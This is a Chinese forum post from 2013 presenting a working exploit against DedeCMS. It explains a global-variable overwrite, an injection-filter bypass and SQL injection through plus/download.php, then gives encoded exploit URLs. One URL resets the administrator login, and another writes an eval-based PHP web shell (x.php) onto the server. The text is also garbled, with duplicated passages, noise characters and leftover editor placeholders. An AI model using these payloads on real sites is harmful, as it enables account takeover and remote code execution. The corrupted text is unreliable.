中国网络渗透测试联盟

标题: dedecms最新版本修改任意管理员漏洞+getshell+exp [打印本页]

作者: admin    时间: 2013-9-21 16:08
标题: dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义,过80sec注入防御。
) S- i+ j) A/ I0 F( C  _/ ]+ l补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
6 F/ m- [' W5 W2 ~: _起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。- I+ k. v( Y2 c/ p
include/dedesql.class.php. f! H% y' U9 j8 T( G
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
# X& q9 l# D& u1 Z$ c同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
& u6 N: P1 J7 J+ y而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
% [% N9 J! N4 L. uplus/download.php5 t; D' U! c  m$ e
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
- J) e9 S+ f; Sadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
" p( e7 P5 C! B' `: U( u* @8 c) A5 [UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
( F6 a  L# f" x* w: b- u. shttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin9 ?5 U0 H$ ]- x0 G3 s6 l
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。! H7 l& T6 n9 E1 ]5 v
如果找不到后台,参见以前修改数据库直接拿SHELL的方法3 z0 f. q+ Z# E  L, c, w  Q4 Z" s4 n
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
* V* A& ^3 ~- X$ f补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?( @# {  n) c1 [+ |. x- |1 k& ?5 e
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。/ c% _2 ~  K' a( j) G
include/dedesql.class.php- {0 C6 c8 j$ `3 k
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
! }% L. W1 _1 `& G同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2  F5 ^6 ~7 k5 u4 S. g
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
: ^) S. k( R1 ]6 \( U8 n1 m' ~plus/download.php  F) A6 Z. L* T; {) o4 y
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):, U4 b6 J, m# b
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:$ n  N2 b0 b0 w8 P6 V" h* P# I
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
( Z; [/ i+ O) ^9 D& khttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
1 q( ~! @  K1 R/ P- Y9 h漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
4 T! o& S, [1 R- G5 ~2 H' j0 S8 M2 ]如果找不到后台,参见以前修改数据库直接拿SHELL的方法# d: g$ p$ K+ d. K. D5 X( V
___FCKpd___6getshell:
5 z4 P; c. _# [8 dhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m% r- m* V1 D1 O  C
http://127.0.0.1/plus/x.php: X2 p% o+ |) U$ j# z2 d
update成功后还要访问下 /plus/mytag_js.php?aid=1
* A0 i7 _7 h+ W: G% Q失败原因:
: l5 U6 p3 z1 o7 I: |9 Y测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
2 e. ^3 k: Q9 T3 g1 Z配图:5 N2 K4 g& f' U0 h/ U
1.查看dede当前版本- |: `& T" L( T/ X& u! f- k
( F, g# t3 W& o5 o0 Q3 [0 Z- v
2.执行exp  k6 r% F* W. s; S( I

& z& U1 U- r7 I; u$ x% Qhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台3 g- T* f. E  f9 i) I* ]; `5 S8 X

* l7 T% W) A- z7 a7 Y+ qspider密码admin' l3 }: C6 x( k- D8 U
9 [  l; p6 i" b% K1 g+ Y
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
8 B+ G( R* d& V3 x% Q1 P原作者:imspider
+ ~3 I% T! E2 A  V: i6 Q  Z9 s* H/ z1 h' K! \1 R! n+ i, o
本博客测试+配图+getshell
) T+ g5 Q) U' \& p9 fPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
8 j. U3 k; r+ X+ X% G' |
. f# D# W1 }5 I9 R+ zgetshell:
/ p9 V1 }) L$ s7 {4 N4 i4 l___FCKpd___7会在plus目录生成 x.php 密码 m) Y, X1 o7 ^; l6 l
http://127.0.0.1/plus/x.php7 e2 @8 [. L$ f. y5 E% I
update成功后还要访问下 /plus/mytag_js.php?aid=1
; {1 |5 N7 ~% w6 H+ `, r失败原因:6 }9 b7 I3 {" A+ S2 i( x! E
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
$ r  Q! K' p( J! H0 Q配图:1 J/ n! L0 A5 M) m: a+ q& l* R6 q
1.查看dede当前版本$ b3 B. G$ q( A/ w! ?2 R5 ~7 ?
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png/ G4 K0 L( }5 r# n& h: F
2.执行exp2 `3 u9 c9 ?1 L2 x2 {- v
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
. ^& R  ~- u3 u( X6 f: Vspider密码admin* u2 ]; U/ b/ D0 c( q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png7 v0 r' e& L8 o' @; Z$ r" w
- y# t$ c" H6 F; @9 T( T* b





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2